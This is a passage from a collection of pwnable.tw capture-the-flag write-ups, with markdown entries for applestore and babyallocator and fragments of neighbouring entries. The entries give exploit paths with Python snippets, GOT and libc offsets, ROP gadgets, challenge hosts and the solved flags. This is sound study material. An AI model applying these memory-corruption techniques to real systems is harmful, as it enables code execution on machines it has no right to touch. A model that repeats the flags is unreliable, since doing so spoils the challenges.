`3148.md` | D | `strlen@GOT` bypass, heap exhaustion | Bypasses alnum check entirely |\n| `3498.md` | A | Enumerated valid bytes, `popad` + XOR | Most thorough valid-byte analysis |\n| `5002.md` | E | Full `popad` frame, no read stager | Constructs `int 0x80` + `/bin/sh` in-place |\n| `7905.md` | A | Detailed writeup with Unicorn verification | Best-documented solution |\n| `8153.md` | A | Chinese writeup, XOR patching explained | Step-by-step register/memory trace |\n| `14106.md` | A | Minimal `jne 0x48` chain | Concise strategy description |\n| `17704.md` | A | `jno 0x39` chain, 9 fragments | Uses `dec edx; push edx; pop eax` |\n| `25916.md` | A | `jno` chain, many XOR patches | Extended chain with separate XOR stages |\n| `36997.md` | A | `jne` chain, `pop ecx` stager | References external writeup for learning |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (self-contained, no pwntools dependency) |\n| `desc.txt` | Challenge description |\n| `artifacts/alive_note` | Original challenge binary (i386, not stripped) |\n| `solution/*.md` | Community write-ups (87 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":14201,"content_sha256":"612276caae914b95a0c3ad0abe1e675b043050c6bd1dc4821884a561827938f3"},{"filename":"pwnable-tw/applestore.md","content":"---\ntags:\n - stack-pivoting\n - type-confusion\n - arbitrary-write\n - got-overwrite\nplatform: pwnable.tw\npoints: 300\narch: i386\nlibc: glibc-2.23\nrelro: partial\ncanary: yes\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"Inserting a stack-allocated item node into the heap-managed cart doubly-linked list enables an arbitrary write primitive during item deletion, allowing GOT overwrite to hijack control flow.\"\nproof-of-concept: no\n---\n\n# applestore — pwnable.tw (300 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10104`\n>\n> Flag: `FLAG{I_th1nk_th4t_you_c4n_jB_1n_1ph0n3_8}`\n\n## Challenge Overview\n\nA 32-bit Apple device store simulator (i386, Partial RELRO, NX, Stack Canary, no PIE) built against glibc 2.23. The program maintains a shopping cart as a doubly-linked list of `malloc`'d device nodes. The user can list devices, add/remove items, view the cart, and checkout. When the cart total reaches exactly `$7174`, a special \"iPhone 8\" item is added — but its node lives **on the stack**, not the heap.\n\n```bash\nchecksec:\n Arch: i386-32-little\n RELRO: Partial RELRO # GOT writable\n Stack: Canary found\n NX: NX enabled\n PIE: No PIE (0x8048000)\n```\n\n## Vulnerabilities\n\n### V1 — iPhone 8 Node on Stack (Primary, Exploitable)\n\n**Root Cause:** The `checkout` function checks if the cart total equals `$7174` (hex `0x1C06`). If so, it creates a device node as a **local stack variable** and inserts it into the linked list. When `checkout` returns, the node's memory is still referenced by the linked list but now overlaps with subsequent stack frames.\n\n```c\n// checkout (simplified)\nvoid checkout() {\n // ...\n if (total == 7174) {\n // iPhone 8 node is a LOCAL variable — lives on stack!\n struct device iphone8;\n iphone8.name = \"iPhone 8\";\n iphone8.price = 1;\n insert(&myCart, &iphone8); // inserts stack address into linked list\n printf(\"You are lucky! Here is a free iPhone 8!\\n\");\n }\n // iphone8 goes out of scope, but linked list still points to it\n}\n```\n\nThe Diophantine equation `199*a + 299*b + 399*c + 499*d = 7174` has multiple solutions. Common ones:\n- 6 × iPhone 6 ($199) + 20 × iPhone 6 Plus ($299)\n- 16 × iPhone 6 ($199) + 10 × iPad Mini 3 ($399)\n\n**Impact:** After `checkout` returns, the iPhone 8 node in the linked list overlaps with the `handler`/`my_read` stack frame. Subsequent calls to `cart` (option 4) or `delete` (option 3) read user input into a buffer that overlaps the iPhone 8 node's fields. This gives the attacker direct control over the node's `name`, `price`, `next`, and `prev` pointers.\n\n### V2 — Arbitrary Read via Fake Cart Node (Exploitable)\n\n**Root Cause:** The `cart` function (option 4) reads a \"y/n\" confirmation with `my_read(buf, 0x15)`. The buffer `buf` is at `ebp-0x22`, and the iPhone 8 node is at a fixed offset on the same stack frame. By sending more than 2 bytes, the attacker overwrites the iPhone 8 node's `name` pointer.\n\n```c\n// cart (simplified) — \"List Cart\"\nvoid cart() {\n char buf[0x15]; // ebp - 0x22\n // ... iPhone 8 node overlaps starting at buf+2\n my_read(buf, 0x15); // \"y\\x00\" + fake_name_ptr + ...\n if (buf[0] == 'y') {\n // iterates linked list, prints each node->name via printf\n for (node = myCart; node; node = node->next) {\n printf(\"%d: %s - $%d\\n\", i, node->name, node->price);\n // ^^^^^^^^^^\n // attacker-controlled pointer → arbitrary read\n }\n }\n}\n```\n\n**Trigger:**\n```python\ncart('y\\x00' + p32(target_addr) + p32(0) + p32(0) + p32(0))\n# Node 27 prints: \"27: \u003c4 bytes at target_addr> - $0\"\n```\n\n**Impact:** Arbitrary 4-byte read at any address. Used to leak GOT entries (→ libc base) and `__environ` (→ stack address).\n\n### V3 — Arbitrary Write via Doubly-Linked List Unlink (Exploitable)\n\n**Root Cause:** The `delete` function (option 3) reads the item number with `my_read(buf, 0x15)`. The same stack overlap applies. When deleting the iPhone 8 node (item 27), the unlink operation writes through attacker-controlled `next` and `prev` pointers:\n\n```c\n// delete (simplified)\nvoid delete() {\n char buf[0x15]; // ebp - 0x22\n my_read(buf, 0x15); // \"27\" + fake_name + fake_price + fake_next + fake_prev\n // ...\n // Standard doubly-linked list unlink:\n node->prev->next = node->next; // *(prev + 8) = next\n node->next->prev = node->prev; // *(next + 12) = prev\n}\n```\n\n**Trigger:**\n```python\ndelete('27' + p32(name) + p32(price) + p32(next_val) + p32(prev_val))\n# Writes: *(prev + 8) = next_val\n# *(next + 12) = prev_val\n```\n\n**Impact:** Write an arbitrary 4-byte value to an arbitrary address (with a reciprocal 4-byte side-effect write). Classic unsafe-unlink primitive.\n\n### V4 — `my_read` Overlap with Stack Node (Enabler)\n\n**Root Cause:** `my_read(buf, 0x15)` reads exactly 21 bytes. The buffer starts at `ebp-0x22`. The iPhone 8 node's `name` field starts at `ebp-0x20` (just 2 bytes into the buffer). This means any input longer than 2 bytes directly overwrites the node structure.\n\n```text\nStack layout in handler/cart/delete:\n ebp-0x22: buf[0] buf[1] ← \"y\\x00\" or \"27\"\n ebp-0x20: name[0] name[1] name[2] name[3] ← node->name (4 bytes)\n ebp-0x1c: price[0..3] ← node->price (4 bytes)\n ebp-0x18: next[0..3] ← node->next (4 bytes)\n ebp-0x14: prev[0..3] ← node->prev (4 bytes)\n ebp-0x10: ...\n```\n\n## Key Data Structures\n\n### Device Node (16 bytes, doubly-linked list)\n\n| Offset | Field | Type |\n|--------|-------|------|\n| `0x00` | `name` | `char *` (pointer to device name string) |\n| `0x04` | `price` | `int` (price in dollars) |\n| `0x08` | `next` | `struct device *` (next node in list) |\n| `0x0c` | `prev` | `struct device *` (previous node in list) |\n\n### Global State\n\n| Address | Symbol | Description |\n|---------|--------|-------------|\n| `0x0804B068` | `myCart` | Head of cart linked list (next ptr) |\n| `0x0804B06C` | `myCart+4` | Tail of cart linked list (prev ptr) |\n| `0x0804B070` | `myCart+8` | First node pointer (used for heap base leak) |\n| `0x0804B040` | `atoi@GOT` | GOT entry for `atoi` — primary overwrite target |\n| `0x0804B028` | `puts@GOT` | GOT entry for `puts` |\n| `0x0804B010` | `printf@GOT` | GOT entry for `printf` |\n| `0x0804B00C` | `read@GOT` | GOT entry for `read` |\n\n## Exploit Paths\n\nAll solutions share the same core primitives: trigger the iPhone 8 stack node (V1), use `cart` for arbitrary read (V2), and use `delete` for arbitrary write (V3). They diverge on the final control-flow hijack.\n\n---\n\n### Path A — EBP Overwrite → Stack Pivot to GOT → `atoi@GOT` = `system`\n\n**Used by:** exp.py, solutions 138, 170, 1155, 1200, 1297, 1303, 1316, 1384, 1387, 1395, 1524, 1715, 10115, 11540, 13060, 14121, 14479, 16633, and many more (most common)\n\n**Steps:**\n\n1. **Buy items totaling $7174** and checkout → iPhone 8 node lands on stack.\n\n2. **Leak libc base** via arbitrary read (V2):\n ```python\n # Read atoi@GOT (or puts/read/printf)\n cart('y\\x00' + p32(atoi_got) + p32(0)*3)\n # Parse node 27's name → 4 bytes = atoi's runtime address\n libc_base = leaked_atoi - libc.symbols['atoi']\n ```\n\n3. **Leak stack address** via `__environ`:\n ```python\n environ_addr = libc_base + libc.symbols['environ']\n stack_ptr = arbitrary_read(environ_addr)\n # handler's saved EBP = stack_ptr - fixed_offset (typically 0x104 or 260)\n ```\n\n4. **Overwrite handler's saved EBP** via unlink (V3):\n ```python\n # Set handler's saved EBP to point near atoi@GOT\n # After handler's `leave; ret`, EBP becomes atoi_got+0x22\n # Next my_read(buf, 0x15) reads into ebp-0x22 = atoi_got\n delete('27' + p32(name) + p32(0) + p32(atoi_got + 0x22) + p32(saved_ebp - 8))\n ```\n\n5. **Overwrite `atoi@GOT` with `system`**:\n ```python\n # handler reads the next menu choice into atoi@GOT\n sendline(p32(system_addr) + ';/bin/sh\\x00')\n # or: sendline('sh\\x00\\x00' + p32(system_addr))\n # atoi(buf) becomes system(buf) → shell\n ```\n\n**Key insight:** The `leave; ret` at the end of `delete`/`handler` does `mov esp, ebp; pop ebp`. By controlling the saved EBP, the next function's `my_read(ebp-0x22, ...)` writes directly into the GOT.\n\n**Reliability:** 100% — no randomness involved, all addresses are deterministic after the leaks.\n\n---\n\n### Path B — `__malloc_hook` Overwrite via Byte-at-a-Time Unlink\n\n**Used by:** Solution 1006, 1316 (variant)\n\n**Steps:**\n\n1. Same setup as Path A: buy items, checkout, get leaks.\n\n2. **Delete items until only the iPhone 8 node remains** (items 1-26).\n\n3. **Use the unlink primitive repeatedly** to write one byte at a time to `__malloc_hook`:\n ```python\n # Each unlink writes: *(addr-0xC) = byte_value\n # The \"byte_value\" comes from an address on the stack/BSS\n # that happens to hold the desired byte at its low position\n for offset in range(4):\n delete('1\\x00' + p32(0)*2 + p32(malloc_hook - 0xC + offset) +\n p32(bss_addr_with_correct_byte))\n ```\n\n4. **Trigger `malloc`** (e.g., `add(1)` → allocates a new device node) → `__malloc_hook` fires → one_gadget → shell.\n\n**Reliability:** 100% but more complex — requires finding stack/BSS addresses that contain the right byte values.\n\n---\n\n### Path C — One-Gadget via EBP Pivot\n\n**Used by:** Solutions 138, 1155, 1177, 1351\n\nSame as Path A but instead of overwriting `atoi@GOT` with `system`, overwrites the return address or saved EBP to redirect to a one_gadget address:\n\n```python\n# Overwrite saved EBP to pivot stack near a controlled region\ndelete('27' + p32(0)*2 + p32(ebp - 12) + p32(fake_ebp))\n# Next input placed on pivoted stack contains one_gadget address\nsendline('6aaa' + p32(one_gadget_addr))\n```\n\n---\n\n### Path D — `puts@GOT` Overwrite with Stack Pivot Gadget\n\n**Used by:** Solution 1316 (variant)\n\n1. **Use unlink to overwrite `puts@GOT`** with a `add esp, 0x1c; ret` gadget.\n2. **Send payload on the next menu prompt** containing `system` address and `/bin/sh` argument.\n3. When `puts` is called, it pivots the stack into the controlled buffer → executes `system(\"/bin/sh\")`.\n\n---\n\n### Path E — Heap-Based Leak Chain\n\n**Used by:** Solutions 1351, 1384, 10115\n\nInstead of leaking the stack via `__environ`, this variant leaks through the heap:\n\n1. **Leak heap base** via `myCart+8` (the first node pointer), or via `main_arena` bins.\n2. **Walk the heap** to find the iPhone 8 node's stack address embedded in the last heap node's `next` pointer.\n3. **Compute saved EBP** from the found stack address.\n\nThis avoids needing `__environ` but requires knowledge of the heap layout.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Stack node in linked list | V1: checkout total == 7174 | Deterministic |\n| Arbitrary 4-byte read | V2: cart with fake name ptr | Deterministic |\n| Arbitrary 4-byte write | V3: delete unlink with fake next/prev | Deterministic |\n| libc base leak | Read GOT entry via V2 | Deterministic |\n| Stack address leak | Read `__environ` via V2 | Deterministic |\n| GOT overwrite (`atoi`→`system`) | V3 unlink + EBP pivot | Deterministic |\n| Code execution | `system(\"/bin/sh\")` via GOT hijack | Deterministic |\n\n## Offsets (pwnable.tw `libc_32.so.6`, glibc 2.23)\n\n```python\n# GOT addresses (no PIE)\natoi_got = 0x0804B040\nputs_got = 0x0804B028\nprintf_got = 0x0804B010\nread_got = 0x0804B00C\n\n# libc offsets\natoi = 0x0002d050\nsystem = 0x0003a940\nenviron = 0x001b1dbc\nputs = 0x0005f140\nprintf = 0x00049020\nread = 0x000d5980\nbin_sh = 0x00158e8b\none_gadgets = [0x5f065, 0x5f066, 0x3a819]\n\n# Stack offset: environ → handler's saved EBP\nenviron_to_ebp = 260 # (0x104)\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `100.md` | A | Leak via `__libc_start_main@GOT`, heap-based stack leak | Deletes all items first, then leaks via item 1 |\n| `138.md` | C | Ruby exploit; one_gadget via EBP pivot | Uses `environ` for stack leak |\n| `170.md` | A | Clean Python; `atoi@GOT → system` | Concise reference implementation |\n| `1006.md` | B | Byte-at-a-time `__malloc_hook` overwrite | Uses stack/BSS bytes as write source |\n| `1155.md` | C | Heap-based stack leak via `myCart+8` → heap → stack | One_gadget finish |\n| `1177.md` | C | One_gadget via EBP overwrite after deleting 25 items | Clean one-gadget usage |\n| `1200.md` | A | Uses `environ` for stack, unlink to pivot EBP to GOT | Standard path with `system(\";sh\")` |\n| `1297.md` | A | Z3 for Diophantine; `atoi@GOT → system` via EBP pivot | Elegant and well-commented |\n| `1303.md` | A | Two-stage stack leak (heap walk + environ) | Verbose but educational |\n| `1316.md` | D | `puts@GOT → add_esp_0x1c_ret` stack pivot gadget | Byte-at-a-time GOT overwrite |\n| `1351.md` | E | Heap leak via main_arena → heap walk for stack | Three-stage leak chain |\n| `1384.md` | E | Heap-based leak chain through `myCart+8` | BSS node manipulation |\n| `1387.md` | A | Straightforward; `read@GOT` leak, `environ` stack leak | Clean reference |\n| `1395.md` | A | Uses `environ`; direct EBP overwrite to GOT+0x22 | Minimal exploit |\n| `1524.md` | A | Uses heap walk to find stack node | Walks linked list for stack address |\n| `1715.md` | A | Standard GOT hijack via EBP pivot | `system(\";/bin/sh\")` |\n| `10115.md` | E | Heap leak via main_arena → stack address | Uses heap for stack leak |\n| `11540.md` | A | Fixed-size 21-byte `my_read`; clever padding | Uses `environ` |\n| `13060.md` | A | Multi-byte leak function; heap-walk for stack | Thorough leak implementation |\n| `14121.md` | A | Standard; uses `puts@GOT` for libc, `environ` for stack | Clean pwntools usage |\n| `16633.md` | A | 19×iPhone6 + 6×iPadAir + 1×iPadMini Diophantine | Standard EBP pivot |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (pure socket, no pwntools) |\n| `desc.txt` | Challenge description |\n| `artifacts/applestore` | Challenge binary (i386, stripped) |\n| `artifacts/libc_32.so.6` | Remote libc (glibc 2.23, i386) |\n| `solution/*.md` | Community write-ups (167 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":14334,"content_sha256":"0586b8bbb40bcf85d94b475437b929b687952e2be1f72b9399cd810013385a85"},{"filename":"pwnable-tw/babyallocator.md","content":"---\ntags:\n - stack-exhaustion\n - heap-overlap\n - arbitrary-write\nplatform: pwnable.tw\npoints: 500\narch: x86-64\nlibc: glibc-2.23\nrelro: full\ncanary: yes\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"Exhausting mmap-allocated split-stack segments forces libgcc morestack to overlap dynamic stack allocations with heap buffers, enabling return address overwrite.\"\nproof-of-concept: no\n---\n\n# BabyAllocator — pwnable.tw (500 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10404`\n>\n> Flag: `FLAG{Spl1t_st4ck_spl1t_h34p_th3n_spl1t_7h3_sh3ll}`\n\n## Challenge Overview\n\nA stripped x86-64 binary compiled with GCC's **`-fsplit-stack`** feature, linked against glibc 2.23. The split-stack mechanism uses `__morestack` / `__morestack_allocate_stack_space` from `libgcc/generic-morestack.c` to dynamically allocate stack segments via `mmap` when the current segment is exhausted. The binary presents a menu-driven \"allocator\" interface:\n\n1. **Allocate on stack** — `alloca()` with size `[0x80, 0xFFF]`, reads a 15-byte name via `scanf(\"%15s\")`\n2. **Allocate on heap** — `malloc()` with size `> 0xFF`, reads a 15-byte name\n3. **Write data** — writes to the current allocation buffer\n4. **New allocator** — recursive call into the menu function (pushes a new stack frame, possibly triggering `__morestack` to allocate a new stack segment)\n5. **Release** — returns from the current recursive call (pops back to the previous frame/segment)\n6. **Exit**\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT not writable\n Stack: No canary\n NX: NX enabled\n PIE: No PIE (base 0x3fe000/0x400000)\n```\n\n## Vulnerabilities\n\n### V1 — `scanf` Corrupts Split-Stack Segment Metadata (Primary, Exploitable)\n\n**Root Cause:** The split-stack mechanism stores per-segment metadata (a `struct stack_segment`) at the base (lowest address) of each mmap'd stack page. When libc functions like `__isoc99_scanf` are called, they are **not compiled with `-fsplit-stack`** and are unaware of the split-stack segment boundaries. `scanf`'s large local variables (internal buffers, `_IO_FILE` pointers to `stdin`/`stdout`) can underflow past the current stack frame and **overwrite the `struct stack_segment` header** at the page base.\n\n```c\n// From gcc/libgcc/generic-morestack.c\nstruct stack_segment {\n struct stack_segment *next; // +0x00\n struct stack_segment *prev; // +0x08\n size_t size; // +0x10\n void *old_stack; // +0x18\n void *old_stack_limit; // +0x20\n struct dynamic_allocation_blocks *free_dynamic_allocation; // +0x28\n ...\n};\n\nstruct dynamic_allocation_blocks {\n struct dynamic_allocation_blocks *next;\n size_t size;\n void *block; // \u003c-- returned by __morestack_allocate_stack_space\n};\n```\n\n**Trigger:** By carefully controlling recursion depth (option 4) and `alloca` sizes (option 1), the attacker positions `$rsp` so that when `scanf` is called during the next `alloca`, its internal local variables land exactly on top of the `stack_segment` header. Key corruptions:\n\n- **`free_dynamic_allocation`** (`+0x28`) gets overwritten with a pointer to `_IO_2_1_stdin_` (a libc address left on the stack by `scanf`'s internals).\n- **`size`** (`+0x10`) gets overwritten with a large value, or **`prev`**/**`next`** pointers are corrupted.\n\n**Impact:** On the next call to `__morestack_allocate_stack_space`, it checks `free_dynamic_allocation`. Since this now points to `stdin`, it interprets `stdin`'s fields as a `dynamic_allocation_blocks` struct:\n- `stdin->_flags` (0xfbad208b) → `.next`\n- bytes at `stdin+0x08` → `.size` (some large value)\n- bytes at `stdin+0x10` → `.block` (an address near `_IO_2_1_stdin_+0x84..0x90`)\n\nIf `.size >= requested_size`, it returns `.block` — giving the attacker **a write primitive into libc's `_IO_2_1_stdin_` structure** and surrounding memory (including `__malloc_hook`, `__free_hook`, and `_IO_2_1_stdout_`).\n\n### V2 — `scanf` Corrupts Segment `prev`/`next` Pointers (Alternative Corruption Target)\n\nSame root cause as V1, but different fields are targeted. By adjusting the stack alignment differently, `scanf`'s local variables can overwrite:\n\n- **`prev`** — causes `release()` to pop to a wrong segment, potentially one whose content the attacker controls\n- **`next`** — causes subsequent segment pushes to use a fake segment header\n- **`size`** — inflates the segment size, allowing subsequent `alloca` to return a pointer past the segment boundary into older stack frames\n\n### V3 — Segment Size Corruption → Stack Frame Overlap (Alternative)\n\nIf `scanf` overwrites the `size` field of a segment to a very large value, then on returning to that segment, `alloca` can allocate beyond the real segment boundary. This overlaps with **older stack frames** from previous recursion levels, allowing the attacker to overwrite saved return addresses → ROP.\n\n## Key Data Structures\n\n### `struct stack_segment` (at base of each mmap'd stack page)\n\n| Offset | Field | Description |\n|--------|-------|-------------|\n| `+0x00` | `next` | Next segment in linked list |\n| `+0x08` | `prev` | Previous segment |\n| `+0x10` | `size` | Usable size of this segment |\n| `+0x18` | `old_stack` | Saved RSP from before segment switch |\n| `+0x20` | `old_stack_limit` | Saved stack limit |\n| `+0x28` | `free_dynamic_allocation` | Linked list of dynamically allocated blocks |\n\n### `struct dynamic_allocation_blocks` (pointed to by `free_dynamic_allocation`)\n\n| Offset | Field | Description |\n|--------|-------|-------------|\n| `+0x00` | `next` | Next block in free list |\n| `+0x08` | `size` | Size of this block |\n| `+0x10` | `block` | Pointer returned by `__morestack_allocate_stack_space` |\n\n## Exploit Paths\n\n---\n\n### Path A — `free_dynamic_allocation` → `stdin` → Write `__malloc_hook` / FSOP\n\n**Used by:** exp.py, solutions 1351, 1980, 8153, 31599, 32010, 35917, 37983\n\n**Steps:**\n\n1. **Deep recursion** to push RSP onto mmap'd stack segments (3× `alloca(0xFFF)` + many `recurse()`).\n2. **Precise `alloca` size** positions RSP so `scanf`'s locals overwrite `free_dynamic_allocation` with `&_IO_2_1_stdin_`.\n3. **`release()` + `alloca(large)`** — the corrupted `free_dynamic_allocation` makes `__morestack_allocate_stack_space` return `stdin+0x90` (or similar offset), giving a **write primitive into libc data**.\n4. **Overwrite `_IO_2_1_stdout_`** to craft a stdout FILE struct with `_IO_write_base` pointing to a GOT entry → stdout flush leaks a resolved libc address → **libc base**.\n5. **Overwrite `stdin` vtable** pointer to a fake vtable where `__underflow` = `one_gadget`.\n6. **Trigger `scanf`** (recurse + option 1) → `__uflow` dispatches through fake vtable → **shell**.\n\n**Variant (31599, 32010, 35917):** Instead of vtable hijack, overwrite `__malloc_hook` with `one_gadget` or a `puts` gadget. Trigger via `malloc()` (option 2, heap allocation). Some solutions use `__malloc_hook → puts_gadget` for a two-stage leak, then rewrite `__malloc_hook → one_gadget`.\n\n**Reliability:** Deterministic once the correct recursion depth and alloca sizes are found. The offset calibration differs between local and remote (usually a small constant adjustment).\n\n---\n\n### Path B — Segment `size` / `prev` Corruption → Stack Frame Overlap → ROP\n\n**Used by:** Solutions 59, 363, 550, 821, 1194, 1458, 1980, 2673, 5586, 6748, 9251, 10102, 14523, 26957\n\nThe most common approach. Instead of targeting `free_dynamic_allocation`, this path corrupts segment metadata to achieve a **stack buffer overflow** in a previous frame.\n\n**Steps:**\n\n1. **Create adjacent stack segments** through careful recursion and `alloca` patterns. Optionally interleave large `malloc` (heap) allocations to control mmap layout and create gaps.\n2. **Trigger `scanf` corruption** of the segment's `size` field (inflated) or `prev` pointer (redirected).\n3. **Return to the corrupted segment** via repeated `release()`. The inflated `size` means subsequent `alloca` in that frame can write **past the real segment boundary** into an older frame's stack.\n4. **Overwrite saved RBP/RIP** of a return frame with a **ROP chain**.\n5. **ROP to leak libc** (e.g., `puts(GOT_entry)` or `write(1, GOT_entry, 8)`) → compute libc base.\n6. **Second ROP stage**: `read` into BSS → `system(\"/bin/sh\")`, or `mprotect` + `read` shellcode → jump to shellcode, or direct `one_gadget`.\n\n**Common ROP gadgets (No PIE binary):**\n```python\npop_rdi = 0x40194e\npop_rsi = 0x4016df\npop_rdx_rax = 0x4026c5 # pop rdx; pop rax; add rsp, 8; pop rbp; ret\nmprotect = 0x400e98 # PLT\nread_plt = 0x400e48\nputs_plt = 0x400e10\nwrite_plt = 0x400e18\n```\n\n**Variant (821, \"memory gap\"):** Create stacks A–D, use mmap'd heap to create a gap between segments, free the heap to leave the gap, allocate new segments into the gap at higher addresses, use `scanf` to corrupt the lower segment's `size`, then overflow downward into older frames.\n\n**Variant (14523, \"fake prev\"):** Overwrite segment A's `prev` pointer to point to a fake segment header between A and B. The fake header's `prev` is partially overwritten (1/16 brute force) to point to segment D. Popping through the fake chain skips segments, landing in C where the attacker can overwrite return addresses.\n\n**Reliability:** Most variants are deterministic. Solution 14523 requires 1/16 brute force for partial `prev` overwrite.\n\n---\n\n### Path C — TLS Corruption → `_call_tls_dtors` Hijack\n\n**Used by:** Solution 9251\n\nAn exotic path that targets the thread-local storage (TLS) area adjacent to stack segments:\n\n1. **Position stack segments adjacent to `fs_base`** (TLS segment) via deep recursion.\n2. **Corrupt `fs:[-0x108]`** (a `__call_tls_dtors` linked list pointer) with a stack address pointing to attacker-controlled data.\n3. **Corrupt `fs:[0x30]`** (the pointer guard used for `PTR_DEMANGLE`) with `value ^ read_gadget_addr`.\n4. **Call `exit()`** (via invalid input to size prompt) → `_call_tls_dtors` → demangled function pointer → `read` gadget → reads ROP chain from socket → `puts(GOT)` → libc leak → `system(\"/bin/sh\")`.\n\n**Reliability:** ~15/16 (depends on libc address not having 0xf nibble at a specific position).\n\n---\n\n### Path D — Heap Spray + `__malloc_hook` Overwrite\n\n**Used by:** Solution 8153\n\n1. **Spray heap** with 0xFF large `malloc(0x20000)` allocations, each filled with `p64(target_gadget)` to create a \"gadget sled\" in memory.\n2. **Trigger `scanf` corruption** to get a write pointer near `stdin`.\n3. **Overwrite `__malloc_hook`** with address of a `puts` gadget via the write primitive.\n4. **Trigger malloc** with `size = GOT_entry` → `puts(GOT_entry)` leaks libc.\n5. **Overwrite `__malloc_hook`** with `one_gadget` → trigger `malloc` → shell.\n\n**Reliability:** ~1/32 (heap spray hit probability for landing in correct page).\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| `scanf` corrupts segment metadata | V1: split-stack + libc stack usage | Deterministic with correct depth/size |\n| Write into `stdin`/`stdout`/hooks | V1 → `free_dynamic_allocation` = `&stdin` | Deterministic |\n| Stack frame overlap (ROP) | V2/V3: corrupted `size`/`prev` | Deterministic (most variants) |\n| libc leak via stdout FSOP | Crafted stdout `_IO_write_base` = GOT | Deterministic |\n| libc leak via `puts(GOT)` ROP | Stack overlap → ROP chain | Deterministic |\n| Code execution | `one_gadget` / `__malloc_hook` / ROP → `system` | Deterministic |\n| TLS hijack | Stack-adjacent-to-TLS corruption | ~15/16 |\n\n## Offsets (pwnable.tw `libc_64.so.6`, glibc 2.23)\n\n```python\n# Binary (No PIE)\npop_rdi = 0x40194e\npop_rsi = 0x4016df\npop_rdx_rax = 0x4026c5 # pop rdx; pop rax; add rsp, 8; pop rbp; ret\npop_rsp_r13 = 0x401ee1\nmprotect_plt = 0x400e98\nread_plt = 0x400e48\nputs_plt = 0x400e10\nwrite_plt = 0x400e18\nGOT_puts = 0x603f40\n\n# libc\none_gadgets = [0x45216, 0x4526a, 0xef6c4, 0xf0567]\nsystem = 0x45390\n__malloc_hook = 0x3c3b10\n__free_hook = 0x3c57a8\nstdin = 0x3c38e0 # _IO_2_1_stdin_\nstdout = 0x3c4620 # _IO_2_1_stdout_\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `59.md` | B | Brute-force stack alignment → ROP | \"Solved with pure luck\"; later understood scanf corruption |\n| `363.md` | B | mprotect + read shellcode → ROP | \"I don't understand my solution\" |\n| `550.md` | B | `free_dynamic_allocation` → stack addr → ROP | Clear explanation of the core vulnerability |\n| `821.md` | B | Memory gap trick → stack overlap → ROP + one_gadget | Detailed mmap layout manipulation |\n| `1194.md` | B | scanf fake `heap_alloca` buffer → ROP | Uses `ret2csu` for clean ROP |\n| `1351.md` | B | Deep recursion → mprotect + shellcode | Concise; clean gadget chain |\n| `1458.md` | A | `free_dynamic_allocation` → stdin → `__malloc_hook` | Two-stage: malloc_hook → leak, then → one_gadget |\n| `1980.md` | B | scanf header corruption → alloca to stack → ROP | Documented the vulnerability mechanism |\n| `2673.md` | B | Leave fake stack addr at `[rbx+0x28]` → ROP | Brief but effective |\n| `2972.md` | B | 251 recurse + release pattern → ROP | Minimal explanation; heavy trial-and-error |\n| `5586.md` | B | 57× stack fills + multiple releases → ROP | Uses `ret2csu` pattern |\n| `6748.md` | B | Massive recurse (0x10×alloca + 0x60 bare) + releases → ROP | Trial-and-error alignment |\n| `8153.md` | D | Heap spray 0xFF × malloc(0x20000) + `__malloc_hook` | ~1/32 reliability; spray-based |\n| `9251.md` | C | TLS corruption → `_call_tls_dtors` → read gadget → ROP | Most exotic path; ~15/16 reliability |\n| `10102.md` | B | Overwrite segment `prev` → fake segment chain → stack overlap | 1/16 brute force for `prev` partial overwrite |\n| `14523.md` | B | Adjacent mmap stacks via heap gap → scanf `size` corruption | Detailed 8-attempt journal of failed approaches |\n| `26957.md` | B | Overwrite segment header `+0x00` with low addr → alloca overflow | Concise |\n| `31599.md` | A | `free_dynamic_allocation` → stdin → `__malloc_hook` → leak + one_gadget | Clean two-stage exploit |\n| `32010.md` | A | stdin write → stdout FSOP leak → stdout vtable → one_gadget | FSOP approach with vtable `call [rax+0x38]` |\n| `35917.md` | A | stdin+0x90 write → `__malloc_hook` → puts leak → one_gadget | Detailed; includes `realloc` alignment trick |\n| `37983.md` | B | mmap ordering abuse → adjacent stacks → scanf → ROP | Local-only; includes IDA script for scanf offset analysis |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit (Path A: FSOP stdin/stdout vtable hijack) |\n| `desc.txt` | Challenge description |\n| `artifacts/babyallocator` | Original challenge binary (x86-64, stripped, -fsplit-stack) |\n| `artifacts/libc_64.so.6` | Remote libc (glibc 2.23) |\n| `solution/*.md` | Community write-ups (21 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":15142,"content_sha256":"fb2f888c29f7db2530d46cca21eff8d36dfb0d93e8a25af05a5cacabc5f1ac24"},{"filename":"pwnable-tw/babystack.md","content":"---\ntags:\n - information-leak\n - brute-force-oracle\n - stack-buffer-overflow\n - rop\nplatform: pwnable.tw\npoints: 250\narch: x86-64\nlibc: glibc-2.23\nrelro: full\ncanary: yes\nnx: yes\npie: yes\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A password verification oracle using strncmp enables byte-by-byte recovery of the stack canary and randomized password, permitting stack buffer overflow into a ROP chain.\"\nproof-of-concept: no\n---\n\n# BabyStack — pwnable.tw (250 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10205`\n>\n> Flag: `FLAG{Its_juS7_a_st4ck0v3rfl0w}`\n\n## Challenge Overview\n\nA stripped x86-64 PIE binary with full protections, linked against glibc 2.23. The program implements a simple login/logout menu with a 16-byte random password read from `/dev/urandom`. The password also serves 